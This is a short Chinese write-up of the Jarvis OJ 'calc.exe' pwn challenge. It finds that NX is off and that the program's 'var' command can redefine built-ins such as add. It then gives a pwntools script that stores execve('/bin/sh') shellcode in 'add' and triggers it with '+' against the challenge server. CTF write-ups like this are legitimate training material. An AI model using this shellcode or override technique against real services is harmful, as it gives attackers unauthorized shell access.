jarvis oj pwn calc.exe writeup

这题其实难是难在代码比较多,要审计比较长时间

首先checksec,发现没开NX,估计就是要用shellcode了

然后审计了一波,粗略发现了两个漏洞
1. 没有检查calloc出来那几个堆是否满了,有可能会溢出到下一个堆,但是这里用不了,所以不详细说了
2. 使用var ,可以添加add sub等已经存在的函数,从而实现替代了函数功能的作用

这里用的就是第二个漏洞
var add = “xxxxxx”
然后将shellcode放到引号里面,再输入一个+号,就会执行shellcode,下面是payload

from pwn import *


shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

#p=process('./calc.exe')
p=remote('pwn2.jarvisoj.com', 9892)

p.sendline('var add = "'+shellcode+'"')
p.sendline('+')

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值